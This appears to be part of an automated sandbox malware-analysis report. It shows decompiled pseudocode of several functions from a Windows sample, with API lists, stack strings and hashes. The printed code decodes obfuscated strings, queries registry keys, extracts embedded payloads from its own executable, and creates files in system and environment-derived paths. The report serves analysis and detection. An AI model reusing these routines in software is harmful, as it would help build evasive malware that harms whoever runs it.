				_v1073 = 0x20;
				_v1072 = 0x3b;
				_t168 = 0;
				do {
					 *((char*)(_t297 + _t168 + 0x10)) =  *((intOrPtr*)(_t297 + _t168 + 0x10)) +  *((intOrPtr*)(_t297 + _t168 + 0x4c));
					_t168 = _t168 + 1;
				} while (_t168 < 0x11);
				GetSystemDirectoryA( &_v276, 0x104);
				_t171 = memset( &_v540, 0, 0x41 << 2);
				_t298 = _t297 + 0xc;
				do {
					_t213 =  *((intOrPtr*)(_t298 + _t171 + 0x378));
					 *((char*)(_t298 + _t171 + 0x270)) = _t213;
					_t171 = _t171 + 1;
				} while (_t213 != 0);
				_t258 =  &_v540 - 1;
				do {
					_t172 =  *((intOrPtr*)(_t258 + 1));
					_t258 = _t258 + 1;
				} while (_t172 != 0);
				_t207 =  *0x42e308; // 0x5c
				_t173 =  &_v1108;
				 *_t258 = _t207;
				_t249 = _t173;
				do {
					_t214 =  *_t173;
					_t173 = _t173 + 1;
				} while (_t214 != 0);
				_t174 = _t173 - _t249;
				_t260 =  &_v540 - 1;
				do {
					_t215 =  *(_t260 + 1);
					_t260 = _t260 + 1;
				} while (_t215 != 0);
				_t217 = _t174 >> 2;
				_t289 = _t249;
				memcpy(_t289 + _t217 + _t217, _t289, memcpy(_t260, _t289, _t217 << 2) & 0x00000003);
				_t178 = memset( &_v1068, 0, 0x41 << 2);
				_t301 = _t298 + 0x24;
				do {
					_t224 =  *((intOrPtr*)(_t301 + _t178 + 0x378));
					 *((char*)(_t301 + _t178 + 0x60)) = _t224;
					_t178 = _t178 + 1;
				} while (_t224 != 0);
				_t268 =  &_v1068 - 1;
				do {
					_t179 =  *((intOrPtr*)(_t268 + 1));
					_t268 = _t268 + 1;
				} while (_t179 != 0);
				_t180 =  &_v1128;
				 *_t268 = _t207;
				_t250 = _t180;
				do {
					_t225 =  *_t180;
					_t180 = _t180 + 1;
				} while (_t225 != 0);
				_t181 = _t180 - _t250;
				_t270 =  &_v1068 - 1;
				do {
					_t226 =  *(_t270 + 1);
					_t270 = _t270 + 1;
				} while (_t226 != 0);
				_t228 = _t181 >> 2;
				_t290 = _t250;
				memcpy(_t290 + _t228 + _t228, _t290, memcpy(_t270, _t290, _t228 << 2) & 0x00000003);
				_t185 = memset( &_v804, 0, 0x41 << 2);
				_t304 = _t301 + 0x24;
				do {
					_t235 =  *((intOrPtr*)(_t304 + _t185 + 0x378));
					 *((char*)(_t304 + _t185 + 0x168)) = _t235;
					_t185 = _t185 + 1;
				} while (_t235 != 0);
				_t278 =  &_v804 - 1;
				do {
					_t186 =  *((intOrPtr*)(_t278 + 1));
					_t278 = _t278 + 1;
				} while (_t186 != 0);
				_t187 =  &_v1148;
				 *_t278 = _t207;
				_t251 = _t187;
				do {
					_t236 =  *_t187;
					_t187 = _t187 + 1;
				} while (_t236 != 0);
				_t188 = _t187 - _t251;
				_t280 =  &_v804 - 1;
				do {
					_t237 =  *(_t280 + 1);
					_t280 = _t280 + 1;
				} while (_t237 != 0);
				_t239 = _t188 >> 2;
				_t291 = _t251;
				_t242 = memcpy(_t280, _t291, _t239 << 2) & 0x00000003;
				_t191 = memcpy(_t291 + _t239 + _t239, _t291, _t242);
				_t306 = _t304 + 0x18;
				_t284 = _t291 + _t242 + _t242;
				_t292 = GetFileAttributesA;
				if(GetFileAttributesA(_t191) == 0xffffffff) {
					E00421E40(0,  &_v540, 0x42e424);
					_t306 = _t306 + 0xc;
				}
				if(GetFileAttributesA( &_v1068) == 0xffffffff) {
					E00421E40(0,  &_v1068, 0x42e420);
					_t306 = _t306 + 0xc;
				}
				if(GetFileAttributesA( &_v804) == 0xffffffff) {
					E00421E40(0,  &_v804, "fwe");
				}
				E004223A0(_t207, _t284, _t292, _t294);
				return E00424873(1, _v8);
			}

0x00421ec6
0x00421ecc
0x00421ed2
0x00421ee1
0x00421ee6
0x00421eea
0x00421eee
0x00421ef3
0x00421ef8
0x00421efc
0x00421f00
0x00421f05
0x00421f0a
0x00421f0f
0x00421f14
0x00421f19
0x00421f1e
0x00421f23
0x00421f28
0x00421f2d
0x00421f32
0x00421f37
0x00421f3c
0x00421f41
0x00421f46
0x00421f4b
0x00421f50
0x00421f55
0x00421f59
0x00421f5e
0x00421f63
0x00421f67
0x00421f6c
0x00421f71
0x00421f76
0x00421f7b
0x00421f80
0x00421f85
0x00421f87
0x00421f8b
0x00421f8f
0x00421f90
0x00421f95
0x00421f9a
0x00421f9e
0x00421fa2
0x00421fa7
0x00421fac
0x00421fb0
0x00421fb4
0x00421fb9
0x00421fbe
0x00421fc3
0x00421fc8
0x00421fcd
0x00421fd2
0x00421fd7
0x00421fdc
0x00421fe1
0x00421fe6
0x00421fea
0x00421fef
0x00421ff4
0x00421ff9
0x00421ffe
0x00422003
0x00422008
0x0042200c
0x00422011
0x00422016
0x0042201a
0x0042201f
0x00422024
0x00422029
0x0042202e
0x00422033
0x00422038
0x00422040
0x00422044
0x00422048
0x00422049
0x0042204e
0x00422052
0x00422056
0x0042205a
0x0042205f
0x00422063
0x00422068
0x0042206d
0x00422071
0x00422076
0x0042207b
0x00422080
0x00422085
0x0042208a
0x0042208f
0x00422094
0x00422099
0x0042209e
0x004220a3
0x004220a8
0x004220ad
0x004220b2
0x004220b7
0x004220bc
0x004220c1
0x004220c6
0x004220cb
0x004220d0
0x004220d4
0x004220d9
0x004220de
0x004220e3
0x004220e8
0x004220ed
0x004220f2
0x004220f4
0x004220fe
0x00422102
0x00422103
0x00422115
0x00422129
0x00422129
0x00422130
0x00422130
0x00422137
0x0042213e
0x0042213f
0x0042214a
0x00422150
0x00422150
0x00422153
0x00422154
0x00422158
0x0042215f
0x00422163
0x00422166
0x00422168
0x00422168
0x0042216a
0x0042216b
0x00422176
0x00422178
0x00422180
0x00422180
0x00422183
0x00422184
0x0042218a
0x0042218d
0x00422196
0x004221a3
0x004221a3
0x004221b0
0x004221b0
0x004221b7
0x004221bb
0x004221bc
0x004221c4
0x004221c5
0x004221c5
0x004221c8
0x004221c9
0x004221cd
0x004221d1
0x004221d4
0x004221d6
0x004221d6
0x004221d8
0x004221d9
0x004221e1
0x004221e3
0x004221e4
0x004221e4
0x004221e7
0x004221e8
0x004221ee
0x004221f1
0x004221fa
0x0042220a
0x0042220a
0x00422210
0x00422210
0x00422217
0x0042221e
0x0042221f
0x0042222a
0x00422230
0x00422230
0x00422233
0x00422234
0x00422238
0x0042223c
0x0042223f
0x00422241
0x00422241
0x00422243
0x00422244
0x0042224f
0x00422251
0x00422252
0x00422252
0x00422255
0x00422256
0x0042225c
0x0042225f
0x00422265
0x0042226f
0x0042226f
0x0042226f
0x00422271
0x0042227d
0x0042228e
0x00422293
0x00422293
0x004222a0
0x004222ae
0x004222b3
0x004222b3
0x004222c3
0x004222d4
0x004222d9
0x004222dc
0x004222f8

APIs

GetSystemDirectoryA.KERNEL32 ref: 00422115

Strings

*, xrefs: 004220E3
, xrefs: 004220E8
T, xrefs: 00421EE1
S, xrefs: 00421FC3
N, xrefs: 00421F23
E, xrefs: 00421F28
P, xrefs: 00422076
fwe, xrefs: 004222C5
N, xrefs: 00422094
N, xrefs: 00421FD7
S, xrefs: 00421F0F
A, xrefs: 00421FEA
), xrefs: 00422085
G@,, xrefs: 00421ECC
", xrefs: 00421FF9
P, xrefs: 00421F05
D, xrefs: 004220A8
;, xrefs: 004220ED
P, xrefs: 00421FB9
;, xrefs: 00422033
T, xrefs: 00421F95
E, xrefs: 00422099
`, xrefs: 004220B2
h, xrefs: 00421FF4
", xrefs: 004220B7
), xrefs: 00421F14
), xrefs: 00421FC8
T, xrefs: 0042205A
S, xrefs: 00422080
E, xrefs: 00421FDC

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: DirectorySystem
String ID: $"$"$)$)$)$*$;$;$A$D$E$E$E$G@,$N$N$N$P$P$P$S$S$S$T$T$T$`$fwe$h
API String ID: 2188284642-3305386188
Opcode ID: dcee0e740fe624b1217ea88155760fb8fe99a8999ef861ec3cef7feef8dc3231
Instruction ID: 3c27c6c0b435376128c9c62176485abffcf5cee6cb450e7dbb9848ef72dacce5
Opcode Fuzzy Hash: dcee0e740fe624b1217ea88155760fb8fe99a8999ef861ec3cef7feef8dc3231
Instruction Fuzzy Hash: 75D13A2110C7C28AD322CA3C585879BFFD11BE6318F480B9DE5E45B2D2C7A9864DC7A7

Uniqueness

Uniqueness Score: -1.00%

Function 004158B0, Relevance: 54.4, APIs: 3, Strings: 28, Instructions: 141
registryCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E004158B0(void* __ebx, void* __edi, void* __esi, void* __ebp) {
				intOrPtr _v4;
				intOrPtr _v12;
				char _v267;
				char _v268;
				char _v269;
				char _v270;
				char _v271;
				char _v272;
				char _v273;
				char _v274;
				char _v275;
				char _v276;
				char _v277;
				char _v278;
				char _v279;
				char _v280;
				char _v281;
				char _v282;
				char _v283;
				char _v284;
				char _v285;
				char _v286;
				char _v287;
				char _v288;
				char _v289;
				char _v290;
				char _v291;
				char _v292;
				char _v293;
				char _v294;
				char _v295;
				char _v296;
				char _v297;
				char _v298;
				char _v299;
				char _v300;
				char _v301;
				char _v302;
				char _v303;
				char _v304;
				char _v305;
				char _v306;
				char _v307;
				char _v308;
				char _v311;
				char _v312;
				char _v313;
				char _v314;
				char _v315;
				char _v316;
				char _v317;
				char _v318;
				char _v319;
				char _v320;
				char _v321;
				char _v322;
				char _v323;
				char _v324;
				char _v325;
				char _v326;
				char _v327;
				char _v328;
				char _v329;
				char _v330;
				char _v331;
				char _v332;
				char _v333;
				char _v334;
				char _v335;
				char _v336;
				char _v337;
				char _v338;
				char _v339;
				char _v340;
				char _v341;
				char _v342;
				char _v343;
				char _v344;
				char _v345;
				char _v346;
				char _v347;
				char _v348;
				char _v349;
				char _v350;
				char _v351;
				char _v352;
				int _v364;
				void* _v368;
				intOrPtr _t96;
				long _t107;
				void* _t126;
				void** _t128;

				_t96 =  *0x4310d8; // 0x2c0d4047
				_v4 = _t96;
				_v311 = 0xd4;
				_v308 = 0xd4;
				_v352 = 0x13;
				_v351 = 0x85;
				_v350 = 0xb6;
				_v349 = 0x41;
				_v348 = 0x75;
				_v347 = 0x91;
				_v346 = 0x1e;
				_v345 = 0x67;
				_v344 = 0xd0;
				_v343 = 0x54;
				_v342 = 0x95;
				_v341 = 0x10;
				_v340 = 0x43;
				_v339 = 0xd7;
				_v338 = 5;
				_v337 = 0x9e;
				_v336 = 0x14;
				_v335 = 0x3f;
				_v334 = 0xed;
				_v333 = 0x20;
				_v332 = 0x29;
				_v331 = 0xe3;
				_v330 = 0xcf;
				_v329 = 0xa3;
				_v328 = 0x53;
				_v327 = 0x11;
				_v326 = 0x4e;
				_v325 = 0x70;
				_v324 = 0x84;
				_v323 = 0x6e;
				_v322 = 0xc4;
				_v321 = 0xc1;
				_v320 = 0xdb;
				_v319 = 0x64;
				_v318 = 0xe1;
				_v317 = 0xc;
				_v316 = 0x2e;
				_v315 = 0x1a;
				_v314 = 0x86;
				_v313 = 0xf6;
				_v312 = 0xe9;
				_v307 = 0x8c;
				_v306 = 0x9b;
				_v305 = 0xe7;
				_v304 = 0x54;
				_v303 = 0xe;
				_v302 = 0x69;
				_v301 = 0x8d;
				_v300 = 0xd;
				_v299 = 0x9d;
				_v298 = 0xe1;
				_v297 = 0xa6;
				_v296 = 0xf;
				_v295 = 0xd3;
				_v294 = 0x2c;
				_v293 = 0x7a;
				_v292 = 0x53;
				_v291 = 0x12;
				_v290 = 0xf4;
				_v289 = 0x93;
				_v288 = 0xa1;
				_v287 = 0x68;
				_v286 = 0x77;
				_v285 = 0xb1;
				_v284 = 0x4b;
				_v283 = 0x72;
				_v282 = 0xf1;
				_v281 = 0x76;
				_v280 = 0xb8;
				_v279 = 0x31;
				_v278 = 0x73;
				_v277 = 0xfc;
				_v276 = 0x19;
				_v275 = 0x8c;
				_v274 = 2;
				_v271 = 2;
				_push(0x2a);
				_push( &_v352);
				_v273 = 0x6c;
				_v272 = 0xf0;
				_v270 = 0x35;
				_v269 = 0xd0;
				_v268 = 0xea;
				_v267 = 0x40;
				if(RegOpenKeyExA(0x80000001, E004155A0( &_v308), 0, 0xf003f, _t128) != 0) {
					L2:
					return E00424873(1, _v12);
				} else {
					_v364 = 0x104;
					_t107 = RegQueryValueExA(_v368, 0x42e292, 0, 0,  &_v272,  &_v364);
					RegCloseKey(_v368);
					_pop(_t126);
					if(_t107 == 0) {
						_push(_v4);
						_push( &_v272);
						E00415690(__ebx, __edi, _t126);
						return E00424873(0, _v12);
					} else {
						goto L2;
					}
				}
			}

0x004158b6
0x004158bb
0x004158c8
0x004158cc
0x004158d2
0x004158d7
0x004158dc
0x004158e1
0x004158e6
0x004158eb
0x004158f0
0x004158f5
0x004158fa
0x004158ff
0x00415904
0x00415909
0x0041590e
0x00415913
0x00415918
0x0041591d
0x00415922
0x00415927
0x0041592c
0x00415931
0x00415936
0x0041593b
0x00415940
0x00415945
0x0041594a
0x0041594e
0x00415953
0x00415958
0x0041595d
0x00415962
0x00415967
0x0041596c
0x00415971
0x00415976
0x0041597b
0x0041597f
0x00415984
0x00415989
0x0041598e
0x00415993
0x00415998
0x0041599d
0x004159a1
0x004159a6
0x004159ab
0x004159b0
0x004159b5
0x004159ba
0x004159bf
0x004159c4
0x004159c9
0x004159cd
0x004159d2
0x004159d7
0x004159dc
0x004159e1
0x004159e6
0x004159ea
0x004159ef
0x004159f4
0x004159f9
0x004159fe
0x00415a03
0x00415a08
0x00415a0d
0x00415a12
0x00415a17
0x00415a1c
0x00415a21
0x00415a26
0x00415a2b
0x00415a30
0x00415a35
0x00415a3a
0x00415a40
0x00415a44
0x00415a48
0x00415a4e
0x00415a53
0x00415a58
0x00415a5d
0x00415a62
0x00415a67
0x00415a6c
0x00415a8f
0x00415ac9
0x00415ae0
0x00415a91
0x00415aa9
0x00415ab1
0x00415abe
0x00415ac6
0x00415ac7
0x00415aea
0x00415aef
0x00415af0
0x00415b0c
0x00000000
0x00000000
0x00000000
0x00415ac7

APIs

RegOpenKeyExA.ADVAPI32(80000001,00000000,00000000,000F003F), ref: 00415A87
RegQueryValueExA.ADVAPI32(?,0042E292,00000000,00000000,?,00000013), ref: 00415AB1
RegCloseKey.ADVAPI32(?,?,0042E292,00000000,00000000,?,00000013), ref: 00415ABE

Strings

g, xrefs: 004158F5
w, xrefs: 00415A03
,, xrefs: 004159DC
, xrefs: 00415931
r, xrefs: 00415A12
), xrefs: 00415936
d, xrefs: 00415976
A, xrefs: 004158E1
G@,, xrefs: 004158B6
5, xrefs: 00415A5D
z, xrefs: 004159E1
., xrefs: 00415984
l, xrefs: 00415A53
?, xrefs: 00415927
i, xrefs: 004159B5
s, xrefs: 00415A2B
v, xrefs: 00415A1C
n, xrefs: 00415962
p, xrefs: 00415958
T, xrefs: 004159AB
u, xrefs: 004158E6
T, xrefs: 004158FF
1, xrefs: 00415A26
@, xrefs: 00415A6C
C, xrefs: 0041590E
N, xrefs: 00415953
h, xrefs: 004159FE
K, xrefs: 00415A0D

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: $)$,$.$1$5$?$@$A$C$G@,$K$N$T$T$d$g$h$i$l$n$p$r$s$u$v$w$z
API String ID: 3677997916-3113562470
Opcode ID: fdaef75e701aef0404f417bb4a93cf4983beae994bab8cf610ec57c9fe9431a7
Instruction ID: bf718c844d1271869f6f5a4619d4bc1fbd5c2e1576c271db0d89f6da38526253
Opcode Fuzzy Hash: fdaef75e701aef0404f417bb4a93cf4983beae994bab8cf610ec57c9fe9431a7
Instruction Fuzzy Hash: 0871B72050C7C1DDD322C67C984874FBFD11BA7328F484B8DF1E45A2E6D2AA8649C76B

Uniqueness

Uniqueness Score: -1.00%

Function 004123A0, Relevance: 52.7, APIs: 29, Strings: 1, Instructions: 227
memoryCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E004123A0(void* __ebx, void* __edi, void* __esi, void* __ebp, void* __eflags, void** _a4, long* _a8, void** _a12, long* _a16) {
				char _v4;
				char _v264;
				signed int _v268;
				long _v272;
				void* _v276;
				char _t36;
				intOrPtr _t43;
				long _t52;
				long _t54;
				long _t55;
				long _t56;
				long _t58;
				void* _t59;
				void* _t95;
				long _t105;
				signed int _t106;
				signed int _t107;
				void* _t132;
				long _t138;
				void* _t144;
				void* _t145;
				void* _t152;
				void* _t153;

				_t152 = __ebp;
				_t144 = __esi;
				_t132 = __edi;
				_t95 = __ebx;
				_t36 =  *0x4310d8; // 0x2c0d4047
				_v4 = _t36;
				GetModuleFileNameA(0,  &_v264, 0x104);
				if(E0041DF40( &_v276,  &_v268,  &_v264) == 0) {
					L3:
					return E00424873(0, _v4);
				} else {
					_t105 = _v268;
					if(_t105 >= 0x64) {
						_t43 =  *((intOrPtr*)(_v276 + _t105 - 4));
						if(_t43 != 0xffeeffee && _t43 != 0xeeffeeff) {
							_t105 = _t105 + 4;
						}
						_push(_t95);
						_push(_t152);
						_v272 = _t105;
						_t153 = HeapAlloc(GetProcessHeap(), 0, _t105);
						if(_t153 != 0) {
							_t106 = _v268;
							_push(_t144);
							_t145 = _v276;
							_push(_t132);
							_t107 = _t106 >> 2;
							memcpy(_t153, _t145, _t107 << 2);
							memcpy(_t145 + _t107 + _t107, _t145, _t106 & 0x00000003);
							HeapFree(GetProcessHeap(), 0, _v276);
							_t138 = _v272;
							 *((intOrPtr*)(_t138 +  &_v4)) = 0xeeffeeff;
							_t52 = E004013D0(_t138, 0);
							 *_a8 = _t52;
							_t54 = HeapAlloc(GetProcessHeap(), 0, _t52);
							 *_a4 = _t54;
							if(_t54 != 0) {
								_t55 = E00401450(_t153, _t138, _t54, _a8, 0);
								if(_t55 != 0) {
									 *((intOrPtr*)(_t138 +  &_v4)) = 0xffeeffee;
									_t56 = E004013D0(_t138, 0);
									 *_a16 = _t56;
									_t58 = HeapAlloc(GetProcessHeap(), 0, _t56);
									 *_a12 = _t58;
									if(_t58 != 0) {
										_t59 = E00401450(_t153, _t138, _t58, _a16, 0);
										_push(_t153);
										_push(0);
										if(_t59 != 0) {
											 *0x431c90 =  *0x431c90 ^ 0x00000005;
											HeapFree(GetProcessHeap(), ??, ??);
											return E00424873(1, _v4);
										} else {
											HeapFree(GetProcessHeap(), ??, ??);
											 *0x431c90 = 0x17;
											HeapFree(GetProcessHeap(), 0,  *_a4);
											HeapFree(GetProcessHeap(), 0,  *_a12);
											return E00424873(0, _v4);
										}
									} else {
										HeapFree(GetProcessHeap(), _t58, _t153);
										HeapFree(GetProcessHeap(), 0,  *_a4);
										return E00424873(0, _v4);
									}
								} else {
									HeapFree(GetProcessHeap(), _t55, _t153);
									HeapFree(GetProcessHeap(), 0,  *_a4);
									return E00424873(0, _v4);
								}
							} else {
								HeapFree(GetProcessHeap(), _t54, _t153);
								return E00424873(0, _v4);
							}
						} else {
							return E00424873(_t46, _v4);
						}
					} else {
						HeapFree(GetProcessHeap(), 0, _v276);
						goto L3;
					}
				}
			}

0x004123a0
0x004123a0
0x004123a0
0x004123a0
0x004123a6
0x004123ab
0x004123be
0x004123dd
0x004123fb
0x0041240f
0x004123df
0x004123df
0x004123e6
0x00412413
0x0041241c
0x00412425
0x00412425
0x00412428
0x0041242f
0x00412435
0x00412442
0x00412446
0x0041245d
0x00412461
0x00412462
0x00412468
0x00412469
0x0041246e
0x00412475
0x00412487
0x00412489
0x00412490
0x00412498
0x004124aa
0x004124af
0x004124be
0x004124c0
0x004124ef
0x004124f9
0x0041252f
0x00412537
0x00412549
0x0041254e
0x0041255d
0x0041255f
0x0041259f
0x004125a9
0x004125aa
0x004125ac
0x004125f5
0x004125ff
0x0041261c
0x004125ae
0x004125b1
0x004125ba
0x004125c9
0x004125da
0x004125f4
0x004125f4
0x00412561
0x00412566
0x00412577
0x00412591
0x00412591
0x004124fb
0x00412500
0x00412511
0x0041252b
0x0041252b
0x004124c2
0x004124c7
0x004124e1
0x004124e1
0x00412448
0x0041245c
0x0041245c
0x004123e8
0x004123f5
0x00000000
0x004123f5
0x004123e6

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 004123BE

Part of subcall function 0041DF40: CreateFileA.KERNEL32(00000000,00000001,00000001,00000000,00000003,00000000,00000000,74E5F560,00000001,00000000,004123D8,?,?,?), ref: 0041DF78
Part of subcall function 0041DF40: GetFileSize.KERNEL32(00000000,00000000), ref: 0041DF88
Part of subcall function 0041DF40: CloseHandle.KERNEL32(00000000), ref: 0041DF95

GetProcessHeap.KERNEL32(00000000,?), ref: 004123EE
HeapFree.KERNEL32(00000000), ref: 004123F5
GetProcessHeap.KERNEL32(00000000,?,00000000,00000000), ref: 00412439
HeapAlloc.KERNEL32(00000000), ref: 0041243C
GetProcessHeap.KERNEL32(00000000,?,74E5F560,00000001), ref: 0041247E
HeapFree.KERNEL32(00000000), ref: 00412487
GetProcessHeap.KERNEL32(00000000,00000000), ref: 004124AC
HeapAlloc.KERNEL32(00000000), ref: 004124AF
GetProcessHeap.KERNEL32(00000000,00000000), ref: 004124C4
HeapFree.KERNEL32(00000000), ref: 004124C7
GetProcessHeap.KERNEL32(00000000,00000000), ref: 004124FD
HeapFree.KERNEL32(00000000), ref: 00412500
GetProcessHeap.KERNEL32(00000000,00000000), ref: 0041250E
HeapFree.KERNEL32(00000000), ref: 00412511

Strings

G@,, xrefs: 004123A6

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: Heap$Process$Free$File$Alloc$CloseCreateHandleModuleNameSize
String ID: G@,
API String ID: 1079676353-3496681718
Opcode ID: 4e0c200c8c15de1c34501c1501da476887ff163203a424eaa44262bbe6b8bc17
Instruction ID: 17315ba9b804ea5b43f0dc8ea45a8c146efaa34e73fe8ad2d9cbea40495e9014
Opcode Fuzzy Hash: 4e0c200c8c15de1c34501c1501da476887ff163203a424eaa44262bbe6b8bc17
Instruction Fuzzy Hash: 6561A5B57043446BE724EBB5EC56FFB739CEB88714F40082AF549C3291DA79EC108666

Uniqueness

Uniqueness Score: -1.00%

Function 0041C0F0, Relevance: 37.0, APIs: 3, Strings: 18, Instructions: 251sleepsynchronizationCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(?,?,?,?,?,?,?,?,?,00001388), ref: 0041C2CB
WaitForSingleObject.KERNEL32(?,00002710,?,?,?,?,?,?,?,?,?,00001388), ref: 0041C2E9

Strings

', xrefs: 0041C152
2, xrefs: 0041C193
I, xrefs: 0041C25A
:, xrefs: 0041C139
z, xrefs: 0041C166
U, xrefs: 0041C1E1
d, xrefs: 0041C25F
{, xrefs: 0041C134
C, xrefs: 0041C1C4
4, xrefs: 0041C157
V, xrefs: 0041C1B5
Y, xrefs: 0041C13E
l, xrefs: 0041C1DC
0, xrefs: 0041C170
G@,, xrefs: 0041C10B
:, xrefs: 0041C242
., xrefs: 0041C1AB
M, xrefs: 0041C1A6

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: ObjectSingleSleepWait
String ID: '$.$0$2$4$:$:$C$G@,$I$M$U$V$Y$d$l$z${
API String ID: 309074506-1975178930
Opcode ID: eb96c70319cd0b3451e5825f8352d491de8bb6029cd1e33e93e4916a575053ba
Instruction ID: fcf21cc62856f80bb5c310aab61f0a24f3f1c6b30d2e4690c96e373a58e0fda4
Opcode Fuzzy Hash: eb96c70319cd0b3451e5825f8352d491de8bb6029cd1e33e93e4916a575053ba
Instruction Fuzzy Hash: 3CB18C3150C3C1CAD321CB39988478BFFE46BA6714F484A5EF5E5972D2C2798149CB6B

Uniqueness

Uniqueness Score: -1.00%

Function 00412B30, Relevance: 35.1, APIs: 5, Strings: 15, Instructions: 86
filetimeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00412B30(void* __esi) {
				intOrPtr _v4;
				char _v264;
				char _v266;
				char _v267;
				char _v268;
				char _v269;
				char _v270;
				char _v271;
				char _v272;
				char _v273;
				char _v274;
				char _v275;
				char _v276;
				char _v277;
				char _v278;
				char _v279;
				char _v280;
				char _v281;
				char _v282;
				char _v283;
				char _v284;
				char _v286;
				char _v287;
				char _v288;
				char _v289;
				char _v290;
				char _v291;
				char _v292;
				char _v293;
				char _v294;
				char _v295;
				char _v296;
				char _v297;
				char _v298;
				char _v299;
				char _v300;
				char _v301;
				char _v302;
				char _v303;
				void _v304;
				long _v308;
				intOrPtr _t53;
				void* _t55;
				void* _t73;
				long* _t75;

				_t75 =  &_v308;
				_t53 =  *0x4310d8; // 0x2c0d4047
				_v4 = _t53;
				_v266 = 0xc9;
				_v286 = 0xc9;
				_v284 = 0x7b;
				_v283 = 0x3a;
				_v282 = 0x59;
				_v281 = 0xfe;
				_v280 = 0x78;
				_v279 = 0xb0;
				_v278 = 0xb1;
				_v277 = 0x27;
				_v276 = 0x34;
				_v275 = 0xf8;
				_v274 = 0x7f;
				_v273 = 0x7a;
				_v272 = 6;
				_v271 = 0x30;
				_v270 = 0xcb;
				_v269 = 0xef;
				_v268 = 0x87;
				_v267 = 0xae;
				_v304 = 0x5e;
				_v303 = 0x6d;
				_v302 = 0x10;
				_v301 = 0xb0;
				_v300 = 0x3c;
				_v299 = 0xf9;
				_v298 = 0xe3;
				_v297 = 2;
				_v296 = 0x68;
				_v295 = 0x8c;
				_v294 = 0xc;
				_v293 = 0x1f;
				_v292 = 0x74;
				_v291 = 0x46;
				_v290 = 0xe5;
				_v289 = 0x8b;
				_v288 = 0xe6;
				_v287 = 0xda;
				_t55 = 0;
				do {
					 *(_t75 + _t55 + 0x18) =  *(_t75 + _t55 + 0x18) ^  *(_t75 + _t55 + 4);
					_t55 = _t55 + 1;
				} while (_t55 < 0x13);
				ExpandEnvironmentStringsA( &_v284,  &_v264, 0x104);
				GetLocalTime( &_v304);
				_t73 = CreateFileA( &_v264, 0x40000000, 0, 0, 2, 0, 0);
				WriteFile(_t73,  &_v304, 0x10,  &_v308, 0);
				return E00424873(CloseHandle(_t73), _v4);
			}

0x00412b30
0x00412b36
0x00412b3b
0x00412b46
0x00412b4a
0x00412b4e
0x00412b53
0x00412b58
0x00412b5d
0x00412b62
0x00412b67
0x00412b6b
0x00412b70
0x00412b75
0x00412b7a
0x00412b7f
0x00412b84
0x00412b89
0x00412b8e
0x00412b93
0x00412b98
0x00412b9d
0x00412ba2
0x00412ba7
0x00412bac
0x00412bb1
0x00412bb6
0x00412bba
0x00412bbf
0x00412bc4
0x00412bc9
0x00412bce
0x00412bd3
0x00412bd8
0x00412bdd
0x00412be2
0x00412be7
0x00412bec
0x00412bf1
0x00412bf6
0x00412bfb
0x00412c00
0x00412c02
0x00412c0c
0x00412c10
0x00412c11
0x00412c26
0x00412c31
0x00412c53
0x00412c62
0x00412c82

APIs

ExpandEnvironmentStringsA.KERNEL32(00000006,?,00000104,00000000), ref: 00412C26
GetLocalTime.KERNEL32(0000003C), ref: 00412C31
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 00412C4B
WriteFile.KERNEL32(00000000,000000E6,00000010,0000003C,00000000), ref: 00412C62
CloseHandle.KERNEL32(00000000), ref: 00412C69

Strings

^, xrefs: 00412BA7
Y, xrefs: 00412B58
x, xrefs: 00412B62
h, xrefs: 00412BCE
{, xrefs: 00412B4E
:, xrefs: 00412B53
m, xrefs: 00412BAC
t, xrefs: 00412BE2
4, xrefs: 00412B75
', xrefs: 00412B70
G@,, xrefs: 00412B36
F, xrefs: 00412BE7
<, xrefs: 00412BBA
z, xrefs: 00412B84
0, xrefs: 00412B8E

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
